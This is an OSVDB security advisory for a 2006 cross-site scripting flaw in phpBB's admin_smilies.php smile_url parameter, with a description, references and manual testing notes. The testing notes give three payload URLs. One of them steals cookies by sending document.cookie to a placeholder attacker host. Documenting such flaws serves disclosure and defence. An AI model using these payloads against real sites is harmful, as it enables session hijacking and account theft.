phpBB admin_smilies.php smile_url Variable XSS

2006-02-03T04:02:34
ID OSVDB:22928
Type osvdb
Reporter Maksymilian Arciemowicz(max@jestsuper.pl)
Modified 2006-02-03T04:02:34

Description

Vulnerability Description

phpBB contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'smile_url' variable upon submission to the 'admin_smiles.php' script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

phpBB contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'smile_url' variable upon submission to the 'admin_smiles.php' script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Manual Testing Notes

http://[target]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&smile_url=icon_mrgreen.gif&smile_emotion=c"onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN

http://[target]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&smile_url=icon_mrgreen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&sid=SIDofADMIN

http://[target]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&smile_url=icon_mrgreen.gif"%20onmouseover="alert(document.location='http://[attacker]/cookies?'+document.cookie)"%20&sid=SIDofADMIN

References:

Vendor URL: http://www.phpbb.com/ Secunia Advisory ID:18693 Related OSVDB ID: 22929 Other Advisory URL: http://securityreason.com/achievement_securityalert/31 Mail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0029.html ISS X-Force ID: 24497 FrSIRT Advisory: ADV-2006-0445 CVE-2006-0437